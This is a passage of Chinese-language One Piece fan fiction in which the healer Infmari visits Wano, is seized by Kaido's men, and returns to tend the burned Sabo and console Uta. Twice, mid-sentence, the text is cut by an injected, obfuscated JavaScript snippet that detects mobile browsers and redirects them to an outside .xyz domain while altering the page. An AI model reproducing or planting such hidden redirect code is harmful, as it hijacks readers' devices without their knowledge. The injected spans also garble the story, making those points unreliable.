阿曼德抖抖烟灰,视线扫过他的轮椅:“是玛丽乔亚留下的...还是白胡子?” 噼啪、噼啪。 茵弗托着脸颊看紫发男人头上的火花。 “嗯...腿吗?谁都有吧,包括BIGMOM。” 克力架歪着身子打量两眼:“废了?” 茵弗:“没有,可以走,只是我懒。” 他没有动面前的食物,也没有喝茶,只是托腮观察他们,重新把脸和模糊的声音对应。他们好像有很多话想问,但是都不开口,他耸耸肩,取过手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047863|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的药方研读,确实是自己的字迹。 “嗯...抗药性...” 舔着糖果的男人库库库地说是找他见面借口:“毕竟我们不确定你是不是真的活着佩罗琳。” 克力架:“玛丽乔亚的事情果然是你干的吧?” 茵弗点头:“不告诉你。” 卡塔库栗收回见闻色,预知到下一个问题的答案,闭了闭眼睛。 克力架:“白痴,你不说我们也知道了!你把镜子砸了干什么啊?” 茵弗:“我死了的话,您母亲不会派您们吞掉我的东西吗?我还要留下直通我家的入口?” BIGMOM是海贼,他们也是海贼,即使他们是朋友。现实就是现实。 佩罗斯佩罗:“库库库,妈妈最近确实很喜欢灰中的橘子酱呢。” 茵弗:“我在,您们和我交易,我不在,您们会直接占领它。” 夏洛特的长子抽过他手中的纸:“那么现在没有交易优势的你打算做什么呢?” 茵弗:“那只是临走前送给朋友的礼物。” 那个饼干图样才是检查是不是真的是他的暗语。借口是真的,但是抗药性也是真的,看完药方茵弗就知道如此。神经性药物总会有各种各样的衍生物伴随而来,更不要说那个药方还很不成熟。他只是有时候迷糊,又没变傻。几年过去,不论是副作用还是抗药性,总会出现的。而尝到思食症可短暂安抚甜头的夏洛特们,如果再次回到之前的程度,最先不能接受的就是他们这群“最亲近的人”。 “正好试试移栽的芳香果效果如何,怎么样?” “库库库,加上这次别砸了【朋友们】送给你的镜子,成交佩罗琳。” 送他回去的时候,卡塔库栗也跟着了。布蕾知道他有话想说,贴心地提前离开。 “...你还会来吃下午茶吗?” 茵弗仰头看他:“嗯...几点?” 卡塔库栗:“...三点。” 茵弗:“有空就去,您会唱一首歌来着?我不太记得了,不过到时候再教我一次吧。” 苋红色头发的男人点头,看到对方越过镜子后,一块布遮住了大部分的视线。 - 波比不能攀瀑,但是看着瀑布打开的样子很帅。茵弗琢磨着能不能弄几只大锦鲤回去养,和斗鱼不放在一起就行了呗。 “哦哦哦!茵弗次郎!” 那是谁啊? 茵弗玛利回头看了一下,对上以藏疑惑的眼光。 “还记得在下吗,茵弗次郎?都长这么大了啊!” 他顺着面前盘子头男人的视线再次回头,看到以藏恍然大悟后噗嗤一声笑了出来:“叫你呢,小阁下。” 茵弗:“哦...我还有过这个名字吗?记忆还是有点...” 以藏拍拍他,牵着他走到御田面前:“主公的习惯吧,以前他叫你什么?” 茵弗乖乖地跟着走:“嗯...''如此歹毒的小阁下''?” 入乡随俗,他们没有第一时间找御田,而是在街上转了一圈,都换上了和服。萨奇和朱尼尔也是第一次来和之国,两个人比划着自己第一次穿如此繁复的衣服叽叽喳喳。茵弗走得很慢,除了正在恢复的关系也有因为他非得穿木屐,支着手杖一点点挪。 学着以藏的样子低头行礼,然后被御田一把拉过去搂着拍后背说怎么这么见外。 “御田大人,前一阵子小阁下受伤了,还在恢复中,还请温柔些。” “啊啊!怎么受伤了啊小阁下!” 茵弗收回搭在他身上的手:“嗯...还有些朦胧,不过您听起来也痛痛的呢。” “啊哈哈哈哈上次龙吉跑过来打架嘛!被咬了一口啊!” 他们走到宅邸内,再次见到阔别多年的时夫人他们,还有御田的家臣们。他也不太不记得,就“眼镜一郎”“忍者大郎”的乱叫一通。总之鸡飞狗跳。 众人身上都有些伤疤,也都高大又强壮,看来和百兽的斗争武士们还是蛮艰苦的。当然将军府招待客人的正式饭食,精美带着和意,是超级小一份。他不能吃所有的菜品,吃的更少,所以大家在矜持地吃完之后还是跑到后院里,御田煮了一大锅关东煮。萨奇嗷嗷叫着“老师教过呢!”边帮忙边念叨可以放什么药材。 跪坐腿很累,所以他只是直着腿坐在门廊下晃脚丫。听以藏和弟弟交谈着最近各自生活都发生了什么事,目光到处飘。 “当年...堪十郎一事真是感谢。我们铲出黑炭一族不少残党...险被小人暗算。” 茵弗偏过头,是眼镜一郎——传次郎。 “好的呢,不客气。” 堪十郎是谁来着? 听到他们谈论此事,家臣们都开始七嘴八舌地回忆当时引发的事件,还有什么会变作他人样子的妖人啦这类的。 御田和萨奇开始分关东煮,听到他们讨论时将满满一大碗放到他手里,感谢他当年的教训。 “什么教训?” “不是所有的人,都是武士!” “这不是当然的?您不是在海贼船上呆了那么久吗?他们哪里武士了?” “但是茵弗次郎你最阴险狡诈了啊!” 以藏笑笑,他还真不知道这回事。在他眼里茵弗玛利一直挺乖一孩子,不管马尔科如何坚持,便好奇地询问当年的事情。萨奇也跑过来,一边夸一边说老师就是很阴险,用各种方式在路飞他们的饭里藏蔬菜和药膳。被发现了就坦荡地夸他们“能吃出来真是聪明啊,长大一定了不得”。他都学会了,在老爹的饭里也藏。 在一群咋咋呼呼“竟、竟有此事!”的话语里,在母亲旁边的日和注意到故事的主角好像反而在发呆,关东煮只是喝了汤而已。 她顺着他的目光看去,只是院落而已。 “母亲大人,那位大人在看什么?” 萨奇听到身旁小女孩的声音回过神,看着茵弗手里的碗哦了一声,将其中的丸子海带类都挑了出来。 “老师,吃萝卜吧,煮得很软。” 御田也好奇询问:“小阁下曾经不是对关东煮颇为喜欢?在下手艺不如从前了?” 以藏摇头:“先前提到的伤的缘故,腹部中刀...” 披着黑色羽织的人刮刮萨奇的伤疤,低头咬一口萝卜后又将视线放到草丛中。 众人都顺着他的目光看去,什么也没看到。 日和:“茵弗大人,您在看什么?” 茵弗:“等萤火虫。” 确实...晚饭后又胡闹一通,天色渐晚,很快萤火虫就会出来了。以藏凑到他身边,询问他常规的问题,见他都顺利一一应答后也就放下心。 “您们聊,我只是想看第一只。” 虽然他这么说,不过众人反而都被一股静谧的好奇抓住,吃关东煮的声音都小了下来,纷纷如他一般看向往日早已看习惯的院落。两个孩子更是如此,小声嘀咕着哪一侧平时见到的更多,就更容易看到第一只。 “哦,在那里。” 茵弗起身,在羽织滑落时套上袖子,走向院子中央。然后突然被拎住后领,飞了起来。勒得有些难受,他在众人的惊呼声中抬头,看到漆黑的一片。不是萤火虫,要更亮——翅膀、火焰。 “凯多大哥要见你,奇迹游医。” 火焰摇曳、噼啪。 73.迷雾 “龙吉———!” 光月御田一路砍翻百兽的海贼,闯入鬼岛大殿。居然闯入将军府携走他的客人与晚辈 ,茵弗次郎身上还带伤呢! 一刀劈开大门,呼唤的声音在看清门内的景象时戛然而止。茵弗次郎坐在一个巨大的酒碗旁,龙吉哦啰啰地大笑着,一副醉醺醺的样子。除了他们二人,殿内只有他的副手,抱着双臂坐在一旁。 “龙吉!你对在下的友人做什么呢!” “御田!来打架吗!!” “凯多大哥...大殿才修好。” 轰鸣的巨响后,高大的青年鱼人担忧地跑入,“凯多大哥,御田他——”,在看清眼前的景象时刹住脚步。喝酒的三人变成了在废墟里喝酒的四人,一个酒壶砸在他的身旁。 “老子说了不准进来,杰克!” 杰克哦了一声匆匆退出门外,将大门拼起后驱散围上来的士兵们。 “既然要请人做客就好好说啊,龙吉!”御田饮上一杯酒。凯多骂骂咧咧地回答既然不打架就滚,少教他做事。 茵弗没在意他们俩,刚才刀与狼牙棒的碰撞掀起的气浪让他发丝凌乱,肺里隐隐憋闷。他忍着又在身旁的酒碗里舀起一点酒饮下。凯多是个极度慕强的人,他和御田的相处模式就能感觉出来,他欣赏强大的对手,甚至是渴望。大概明白以藏说的奇怪是什么意思了。 他将目光又放回那个沉默寡言的黑家伙身上。非常高,比泰格都高,从头到脚都被包裹着,一对巨大的黑色羽翼,背上燃起的火焰——露娜莉亚族。自己之前在询问的时候也变得紧绷,差点就被干掉了。 “哦啰啰啰啰!御田,这小子送我吧!他可是干了件大事呢!” “说甚送的话!茵弗次郎又不是在下的!” 茵弗抹抹嘴:“总之,抱歉我借用了您族人的身份,但是当时我必须混到实验室里去。我很高兴您还存活于世。” 烬捏紧拳头。那些有关露娜莉亚族和玛丽乔亚之间的谣言就是这家伙...他就知道世界上已经没有族人存在了。本来只是手下来汇报说奇迹游医登陆和之国,大哥说要带来见见看能不能收到麾下的。没想到... 茵弗揉揉鼻梁,不是因为酒精,而是兹瓦罗斯弗那令人生厌的声音不断回响,他看到烬就会有种类似幻听的感觉。 ''世上独一只啊,本圣要更多——'' “茵弗次郎?” 他回过神,压下不适,对着御田点点头,再次看向凯多。“凯多先生,如果无事,我这就告辞了。” 头顶带角的男人将狼牙棒砸在他身侧,溅起的石子砸在他脸上。他偏头看了一眼,有点好奇它的锐度,伸手在一颗尖刺上滑过,然后将串珠般渗出血液的手指放在嘴里吮了一下,摇头拒绝这位海上皇帝的邀请。 “不过如果您有求医需求,在我拜访和之国期间可以随时找我。” 虽然他能力还不算完全恢复,但是他的经验也足够,不是什么太刁钻的病症没什么问题。 海贼啊,被拒绝不是杀了你就是要把你关起来。茵弗视线又移向近背后的火焰,对他来说会热吗?火星摇曳——不止是BIGMOM,金狮子当年被罗杰拒绝之后也是如此呢。 决定生死的强权霸道。 “龙吉!若你强求,在下不会对此事坐视不理!小阁下已说了他不愿!” 还好御田在这里...即使自己完全恢复肯定也是打不过的。 他俩还是打起来了,茵弗被烬抓在手里腾空到殿外,看那塌了的两根柱子估计这楼也坚持不了多久。半兽化的凯多看起来还蛮新奇的,有点好奇全兽化是什么样子。 他放空了一会儿,听抓着自己的人开口: “那个天龙人怎么会认为你是族人,你没有—” “翅膀?火焰?因为他蠢啊,他又没见过真的,我又用了点致幻的东西。” 露娜莉亚族的有关信息自己还是在BIGMOM那的时候学到的,毕竟这是她没有收集到的种族之一。那个用书的——蒙多尔?给他讲过。 曾经生活在红土大陆上,现在基本全灭。天龙人现在在红土大陆上生活,按他们的脾性来说应该也脱不了干系吧。 “你也被抓到实验室里了,就算是假的?” 也? “啊...我其实没呆几天。他...” 手中的人没动静了,半天没等到答案的烬将视线从战场上收回,发现他拧着眉毛很不舒服的样子。他晃了晃他,对方回过神,有些疑惑的嗯了一声。 “哦、实验室,对...总之把人放出来...之后我不记得了。” 听到他的话,面具后的人眯起眼睛,紧握的手稍微松了些许。 “您穿衣风格很好看呢...木耳领衬衫配双排扣什么的...我也喜欢典雅的衬衫...” 茵弗玛利喃喃着,没有在意烬的目光。 凯多打得开心,又喝醉,最后还是默认他被御田带走。茵弗回到将军府,拥抱一下担心的众人,睡了一觉,在三天后醒来。 这次身边是...朱尼尔。 “茵弗哥,你醒了。” “嗯...几点了?” “早上七点,你睡了三天。” 他起身,稍微癔症一会儿,回过神已经换好衣服拉开门帘了。正好赶上早饭,萨奇见他醒了给他盛了一份汤。 “茵弗次郎!你回来后便一直昏睡!是那日我与龙吉的战斗伤到你了吗,还是酒喝多了?” “啊不...受伤后遗症。” 以藏担心地问是想起什么了吗,上次突然昏睡也是类似的情况。茵弗慢慢喝着汤,耸了耸肩。 几日后又被抓走一次,这次没那么好待遇,直接被关起来。御田来了,把他带走,受了些伤。所以再次回去后他向御田请辞,既然如此他也不想一遍遍让他帮他,即使御田说他不在意。带走买的和服等纪念品,又留下一些“外海的纪念品”给他们,波比离开了和之国。 御田没有选择现在开国,去过外海的他更加知晓这其中的凶险,现在的和之国只是堪堪挡住百兽而已,他们需要成长。 而封闭的国家,也就意味着封闭的消息。 茵弗捏着报纸,给奥比塔拉去了电话虫。 “怎么回事?” “啊...你想起来了?” “灰中是我们的产业吧?没记错?” “...是。” 【灰色中点站重建中!哥亚王国被拒!】 天龙人圣·查尔马克来访东海最繁盛的哥亚王国。在享用灰中生产的加工食品后要求全部上贡,并且以后全部产品为他独有,大家当然不愿意。 “所以哥亚的国王帮着他拿走了所有的货物,毁了中点站''以示惩戒''?” “虽然我很想说至少不是屠魔令,但是没错。大概就是这样。” 雷利的声音好像隔了一层膜,奔流的血液在他耳内嗡嗡地响。黎明岛灰中的管理者是谁来着...阿龙、不,阿龙的基地在...可可西亚。但是他作为总负责人应该知道这件事了,拒绝对哥亚王国开放大概就是他的决定? “...伤亡如何?” 雷利长叹一口气。等了一会儿,有纸张翻动的声音,还有露玖的询问声。轻伤、重伤、死亡、被俘走... 露玖的声音代替了雷利:“伤员一部分送到四叶岛的分部,在东海的伊甸鲸也滞留。泰格去了东海帮阿龙,革命军那段时间也赶到了,救下来一批人...” 茵弗揉着鼻梁,虽然自己在恢复了,可是那种雾蒙蒙的感觉仍然挥之不去,让他思维不太受控制,平时没觉得什么,此时便有些烦躁。 沉默不语的以藏和萨奇担忧地对视,轻轻扶着他的肩膀让他坐在椅子上。 我忘了什么? 茵弗没有注意自己姿势的变化,一边听露玖缓缓讲述一边接过萨奇递过来的杯子喝了一口。莓果的味道,是和之国独有的红莓叫... ''...记得我是谁吗?'' “...香克斯带着孩子们去东海了吧?他们那段时间还在吗?没碰上吧?” 露玖的沉默让他感到不安。 “...出什么事了?” “你要先回来吗,小茵弗?他们也快回来了。” 茵弗将杯中鲜红的果汁一饮而尽,喉间好似品到黏腻的腥甜。 “回莫比迪克吧,以藏,萨奇,旅行结束。” - 这次贝克曼的烟没被掐,但是被抽走了。披着黑色羽织的人将还剩一半的烟放到嘴里吸了一口,皱眉咳嗽。 他恢复了很多,虽然又受了一次重伤,但是和他们离开前的那种割裂感相比已经算得上“近乎正常”。他抽烟这件事很不正常,不过发生了这么多事,贝克曼可以理解。 火星又明灭了一下,身旁的人仍然像他一样胳膊支在船舷上,但是转向他,缓缓张口。贝克曼看到他嘴里含着的烟气绕着缱绻飘出,然后被吹向他的方向。 手指一弹,他的烟回不到自己嘴里了,随着一道抛物线掉进海中。 他们谁都没有开口,直到贝克曼再次摸向自己的口袋,这次没有拿出烟盒,而是将一根棒棒糖递过来。 “吃糖吗,医生?” “糖是最无趣的零食。” “菠萝味的。” “好吧。” 贝克曼也将烟换成了糖,两个人又转而向海,夜海总是比白日更加给人一种压迫感,天是暗的,海也是黑的,仔细辨认才能看见这一片虚无中的分割,白色的泡沫在新月微弱的月光下如鬼魂碎片般的反射。 哗——哗—— 一致的仍然是风,永不止歇的歌。 “艾蕾吉亚到底发生了什么。” 贝克曼将嘴里的糖果取出,如烟一般夹在指尖,咂了咂嘴。 音乐、乌塔、魔王,岛屿覆灭。 精疲力尽的迷茫女儿,红发海贼团承担下的罪责。 因为此事,他们错过了灰中出事的时间。本来还在因路飞他们留在黎明岛挑战大老虎而感到的宽慰在回去后便荡然无存。 金发青年去了和之国,身上的衣服看起来十分独特,带着一丝典雅和圣洁的韵味。风吹过,宽大外袍带着深色暗纹卷起,扫在贝克曼的胳膊上。 “我去玛丽乔亚大闹一通,现在他们又到我这儿杀人放火。拆我的工厂,烧我的田,伤我的孩子,还抢我的员工做奴隶,是在补充被我放跑的空缺?” “你想起来了不少。” “您得谢谢那个捅了我两刀的混蛋,他让我抓住了一条从雾里往外爬的绳子。” 糟糕透了。 他去找回记忆,回来眼前的现实却让他反而觉得自己回想起的东西是虚假的。也许这也是幻觉,可是这回等多久它们都不会消散。 香克斯为了救路飞没了一只胳膊;萨博为了帮忙救人被大面积烧伤;乌塔无意间灭了一座岛,现在迷茫又混乱;因为天龙人而接二连三出的事件让阿龙他们又燃起灰暗的愤怒,只能说至少有他控制不会烧得太远。 他啧了一声,贝克曼将一只手压在他肩膀上,就像他稳定住香克斯那样。 “出一次事你就要跑去那上面一次吗?你还能去几次?” 他救不了所有人的。就像雷利即使担心也没法把他永远圈在眼皮底下,他在乎的人更多,也就更不可能。 “可惜,有些把戏只能玩一次。” 哥亚的国王在发现自己被灰中产业下的一切拒绝时居然还有脸来信跟他委屈?好像跟个谄媚的苍蝇一样弯腰在查尔马克面前搓着手,和他一起毁了灰中在黎明岛的基地,分了货的人不是他一样。 “我想不起来那家伙叫什么,长了怎样一张脸,但是不用想我都知道他什么样。” 贝克曼嗯了一声,看他把吃完的棒棒糖杆咬的全是牙印,和那根只吸了两口的烟一样被弹到海里,好像在弹开爬到他眼前的臭虫。 “这次我们也向你道歉,我向你道歉,没有照顾好萨博他们,我也没看好香克斯。” 茵弗摆摆手,半晌后再次说道:“...乌塔您们准备怎么办,带到我这儿是想让我养?” 本来是想将乌塔和艾蕾吉亚幸存的国王戈登一起留在那边,隐瞒事情的真相,让她能继续学习音乐,好好长大,不要小小年纪就背负上灭国的负担。而且,即使报纸上是他们毁了艾蕾吉亚,政府与海军高层也大概会知道是歌歌果实的使用者使用了上任能力者留下的魔王,而红发海贼团目前还不足以保护她。 是没有带着乌塔回到黎明岛后,路飞和他无比崇拜的香克斯大吵一架,自己跑出去划船说要把她带回来,差点被近海之主吃掉后,香克斯再次下的决定去接她,然后带到奥比塔拉。 ''路飞说的对,贝克,茵弗也——'' 贝克曼也丢掉自己手里的糖杆,重新摸出烟盒。刚叼上一支还未点燃,便听身旁一直沉默不语的人开口。 “''茵弗玛利的一切'',您们需要,我当然会帮您们的。不过香克斯说的没错。” 茵弗拢了拢身上长长的黑色羽织,试图阻挡寒气。 “您知道我小时候最怕什么?比起寒冷,呕吐,恶心的毛毛虫,我最怕我的家人不要我了。” 他抱着那时还比自己矮小的香克斯和巴基,一遍遍拜托他们一定记得去接他。 乌塔那么爱他们,以当红发海贼团的音乐家为荣。香克斯是她的父亲,他们都是。她一觉醒来发现''自己敬爱的人们毁了音乐之岛'',而她又不知为何被丢下。持续下去,一个九岁的小幼苗很难再走出这个寒冬。 “...是我们欠考虑了。” “惹家里孩子不开心,准备怎么赔我?” 贝克曼笑了一声:“想要点什么,小鬼?” “去和乌塔说清楚吧,大叔。您们不去,等她问我我也会说的。” 后背覆上一股热量,一只手拢住他的腰。红毛脑袋压在他肩头,没有戳在脸颊上的草帽——它现在属于路飞了。 “你还生我的气吗,哥哥?” 香克斯语气委屈巴巴,哼哼唧唧的。 茵弗一言不发地听他解释手臂的事情,检查他的伤。重新缠好纱布之后就让他好好休息头都不回地离开。孩子们也是...他没照顾好他们,明明走之前跟他保证过的。 茵弗摸摸他的头,偏头贴着。 “我没有生气,香克斯,谢谢你救路飞,我只是难过,你的手即使装上机械假肢也...” 贝克曼在旁边看自家船长一听茵弗玛利说他不生气,还关心他,狗尾巴都摇起来了,继续搂着人家蹭脑袋,瞬间阳光明媚。 “没事啦哈哈,我很看好路飞那孩子呢!他说了和船长一样的话!我可以用右手拿刀的,不用假肢,好别扭。” 新时代... 他转过身,再次用手抚摸过曾经香克斯的惯用手存在过的地方。 “...罗杰先生当时和你说了什么?御田阁下说之后你哭了。” “嗯...船长当时和你说了什么?” “我不记得了。” “诶——耍赖,茵弗。” 现在是谁在耍赖啊。 茵弗叹了口气,继续搂着挂在自己身上的红毛大狗,换了个话题。 “不过路飞看到我就嚷嚷着要做海贼王,卡普先生要是来拜访,我会坦白是受你影响。” “哇啊!贝克,准备启航吧!不过他不是也去白胡子那做过客吗?已经很喜欢海贼了啊。” “帽子是你送的不?约定是纽盖特先生立的?” “贝克!明早就走吧!” 贝克曼点上嘴里的烟,烟草和糖精的味道在舌尖混杂,“先解决好乌塔的事情吧”,身旁的人任由香克斯把他压在船舷上,有些艰难地喘一口气后听到他的话,转头对着他笑。 贝克曼像之前他做的那样对着他吹了一口烟,玩笑道:“不过路飞是你养大的吧,卡普大概会优先找你的麻烦?给你的朋友红发海贼团争取点时间?” “我又没跟他保证过我会把他孙子养成海军。而且他海军英雄找我一脑子坏了的人的麻烦,说出去影响多不好。” 香克斯偏过头,嗅嗅茵弗身上,没有什么草药的味道,大概是还一直在恢复的关系,不总是泡在工作室里。但是有一点简单的沐浴露味。 “你脑子没坏,记得吗?” “留下后遗症了,香克斯,库洛卡斯先生检查过了,我自己也能感觉到。” 那些雾大概永远都不会完全消散,那些幻觉,幻听,让他难以把握的思维,会永远持续下去。就像是窗外永恒的暴雨,能听见,但是看不真切了。 香克斯抱紧了他,然后微微松手,直视茵弗眼里又开始缓慢浮现的空洞。他不知道他一开始的状态,所以他也不知道他们对他这几年的成果已经有多么满意。如果只是偶尔的晃神,和身体的一点损伤,就足以换回现在他眼前穿着漂亮和服的人,那他永远都会同意这笔交易,即使是要和恶魔签订契约。 “你后悔吗?” “...嗯?” “去玛丽乔亚救金妮,放走奴隶们,差点死掉,后悔吗?” “有点吧,不太舒服呢。” “但是你下次还是会去做?” “嗯。” 他又抱住他,笑嘻嘻地说那不就得了。茵弗也笑了,回答说也是呢,反正你们会惯着我。贝克曼拍拍他们二人,说早休息吧。早点处理好这边的事情,卡普来之前离开这片海域。 香克斯拉着手里的人往舱房走,手杖在甲板上发出带着稳定节奏的轻响。 “今天也一起睡吧茵弗!顺便讲讲你都干嘛了,就当什么什么记忆训练?” “嗯...给你脸上留疤的人消失了。” “哦,蒂奇啊...他伤了你吧?” “你的和服呢?感觉比起御田更像是时夫人穿得那种,不过更复杂一点?” “啊,因为是女式的嘛,以藏男式女式都有给我选,不过我还是更喜欢白色,穿习惯了,只是日常风格的纯白和服很少有卖。” “为什么?” “因为大部分都是用来当婚服的,叫''白无垢''。或者是在祭祀上穿。” “哇,你现在穿的是和之国的婚纱咯?” “也没人规定婚服只能结婚穿吧,羽织是男式的,因为帅气。” 香克斯认真打量几眼,倒着走差点没撞到门框上。他牵着个新娘子?虽然就是茵弗在任性地混穿嘛。 “确实很漂亮。” “是吧?但是因此也很贵,我只买了两套换着穿,还有些别的。你要吗?” “我不啦哈哈哈哈,看着穿起来好麻烦啊!” 茵弗不介意麻烦一点,他喜欢一切他定义为漂亮的东西,和服最近是他的心头好。香克斯的穿衣风格...倒是和小时候一样穿白衬衫,裤子就...嘛至少还穿裤子。 他们三个人风格真的差很多呢,但是好像都有“随便”的感觉——各有各的随便方式。 他第二天直接去了萨博身旁,虽然昨天回来已经看过他,但是当时那孩子在睡觉。烧伤恢复是一件很辛苦的事情。 “小姨... ?” “我吵醒你了吗,亲爱的?感觉怎么样?” 脸上一侧被纱布缠满的小孩呜地一声就哭了。抽噎着说自己没帮上太大忙,现在他的灰中被毁了,还好龙先生把他从燃烧的房子里救出来,但是艾斯他们往里闯的时候也受伤了。 “我听说你们是偷跑去的,明明达旦他们让你们不准去了。” “呜、对不起...” “记得之前你差点被恐龙吃掉吗,好大的霸王龙...” “三角龙...” “哦对三角龙,我当时好像说过类似力量不够不要硬闯进去什么的?” “不要直击...” 他把他脸上的纱布换下,对着眼部周围的烧伤皱眉。萨博下意识要揉,被他止住,取过药棉轻轻拭去泪水。 “灰中没有毁,我们会重新把它建起来,其他岛屿也没有被连累。谢谢你帮忙,但是下一次,量力而行可以吗?” “嗯...他们为什么,明明灰中是为大家好的啊,那些天龙人、贵族..甚至我的父母都...” “你回去见父母了?” 萨博摇摇头:“他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052119|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有新的儿子了,我现在的母亲是露玖妈妈。” 茵弗摸摸他的脸,听着他的声音,至少现在能力可以正常使用了。很痛苦呢,这孩子。他起身取来伤药,用棉签沾取后一点点地涂着,顺便把他身上的纱布也拆下来一起换药。 “他们眼里没有平民,萨博。这个范围很广,也就是除了他们以外的人都不算人,这样的感觉。” 萨博垂着蓝宝石一样的眼睛,小声的嗯了一声:“我明白了,龙先生说他想要改变这样的世界...我...” 茵弗:“你也想改变它?” 萨博点头,轻轻摸着被温柔的手换上的纱布。 “我想让它不会因为艾斯的爸爸是海贼王就要杀掉我的兄弟,想让你再也不用去玛丽乔亚救奴隶而死掉...” 他在萨博小小的身躯上绕着纱布,遮住那些狰狞的痕迹。一个小勇者的勋章,一个不该出现在孩子身上的可怕伤痛。 “想去革命军?” “嗯...龙先生当时带走了一些人,我们聊完天后有问我要不要一起,但是我也舍不得你们...” 哎呦宝贝。 龙居然敢挖他的小土豆? “没关系,小姨也舍不得你,等你长大点我给龙先生打个电话虫就行。” 他刮刮他的小鼻子:“不过以后会更辛苦咯,无论是训练还是知识的学习。” 萨博:“我会努力!” 嗯革命军的话...要不要把他送到夏琪身边学两年?基德他们也在外面学习,总比一下子跑到革命军不知道在哪的基地离家近。 他看着露在外面的眼睛滴溜溜转着的聪明小子,大概是终于反应过来他状态比他们分开时恢复好多了?这种下意识先依赖的感觉也很可爱。 烧伤恢复时最好补充大量蛋白质,补充维生素,锌和铁...给他专门定个食谱吧,倒是好像胖乎了点,不知道是在东海吃得开心还是自己记忆的问题。 “增生期会不好受哦,要重新生长细胞,神经,皮肤,晚上如果痒也不要挠,很痛的话及时说。” 是一次痛苦的成长,各种意义上来说。 “我会尽量让你舒服一点的,也会努力让你以后不会被影响活动,还好眼睛没出什么大问题。” 萨博点点头,说他是男子汉。拉着他的手问他现在是好了吗? “毕竟自从我醒过来都...多长时间了?反正很久了嘛,不过我有时候还是会变得晕乎乎的。” “没关系!那我们也喜欢你。” 哦哟宝贝哇。 茵弗轻轻抱抱他,然后冷酷拒绝他想下床去和兄弟们玩的撒娇。这个阶段很容易受刺激感染的,医生不允许。 “他们睡懒觉呢吧,醒了会来看你的。我没有库洛卡斯先生那么严格,探望时间可以很长。” 小土豆哼唧着说既然他们在睡觉我也再睡一会儿好了,因为撒娇失败不好意思地又缩回医务室的被子里不跟他讲话。穿着羽织的人笑笑,拍拍床上的一团。 乌塔那边不知道香克斯他们处理的怎么样了。 双色头发的小女孩眼泪大滴大滴地涌出,无论怎么擦都擦不尽。歌歌果实本来是让她骄傲的,怎么会这样呢。毁了那座岛的不是香克斯他们,是自己。 “不、乌塔,是魔王托特姆吉卡。” 半跪在女儿面前的红发青年感到无奈,就是这样他才不想早早地让乌塔得知真相。但是茵弗说的没错,她必须知道她仍然是他们的家人。如果他们背离她而去,她在茵弗身边也早晚会知道的,毕竟他不会隐瞒这些现实。既然如此还不如他们亲口谈清楚,可是他是怎么做到的呢? “你们、呜、只是想保护我对吗,我之前、还对着你们大喊大叫呜、” 香克斯将她抱入怀里,说没关系,他们不该隐瞒,他们也对不起,不是她的错...视线边缘晃入一抹白——茵弗回来了。 靠在门边的人没动,仍然穿着混搭的和服,抱着肩等他们交谈。拥抱的父女二人又花了不少时间冷静下来,一遍遍重复着道歉与原谅。乌塔闷闷地将让他心碎的话吐到他的衬衫里。 “我、我不能做你们的音乐家了、我再也不能唱歌了—” “不不、乌塔,别这样...” 船员们都七嘴八舌地慌张起来,说着她也是被控制的受害者啊,她的歌声最棒了,她永远都是他们的音乐家,想要回船上也—— “~~~、~~” 一声哼唱如细沙般流淌过。 一首不知名的歌。 众人静了下来,音乐却戛然而止。乌塔也露出半边脸,看向闭着眼靠在门边的人。在短暂的安静后,茵弗睁开眼笑着轻声说:“抱歉,这首歌我一直都记不住,即使史黛拉已经给我唱过无数遍了。” 乌塔流过泪的眼睛水润的如晶莹的葡萄:“是、是什么歌?” “大概是哪里的摇篮曲或者童谣吧,好奇吗?” 小小的女孩犹豫着点头。 “它曾经给过我力量呢,也许史黛拉教给你,你也能给无数人带去同样的力量,也许你能找到它的名字。” “可是我...不能唱歌了...” 不能还是不想? 乌塔咬咬牙,又流出眼泪。她还是喜欢音乐,喜欢唱歌,她的梦想就是用歌声创造出一个人人都幸福,和平的新时代。 茵弗笑笑,和他早上才安慰过的小土豆有点像呢。只不过更加梦幻天真,也许是海贼船上学来的浪漫。 “但是我的音乐只会伤害别人呜、艾蕾吉亚...” “是一场不幸的意外,亲爱的,我希望你父亲有斩草除根,把问题根源的那乐谱毁掉?” 香克斯挠挠脸,避开了茵弗的眼神,听到小小的啧声——完啦,又要叫哥哥撒娇了。 在门边的人终于直起身子走过来,弯腰将小女孩抱起,“嗯...我之前受伤不是忘掉很多东西嘛,海贼的歌怎么唱来着,红发海贼团的小音乐家?什么酒送到身旁...”,他皱着眉努力回想着,“呦吼吼~呦吼吼~?” 乌塔被他奇怪的跑调逗笑,拍拍他的脸说不是啦,是“哟嚯嚯嚯~哟嚯嚯嚯~”,刚开了个头她就僵住了,抱着她的人却恍然大悟的样子,感谢地亲亲她的脸,继续唱了下去。 “哟嚯嚯嚯~哟嚯嚯嚯~” “哟嚯嚯嚯~哟嚯嚯嚯~” “将香克斯的酒~送到身旁?” 乌塔没忍住又噗嗤地笑,再次纠正:“将宾克斯的美酒~送到你身旁~” 茵弗点头,跟着她慢慢地唱:“将宾克斯的美酒~送到你身旁~” 茵弗:“像海豚—” 乌塔:“像海风随心所欲~” 茵弗:“像海风随心所欲~” ““乘风破浪。”” 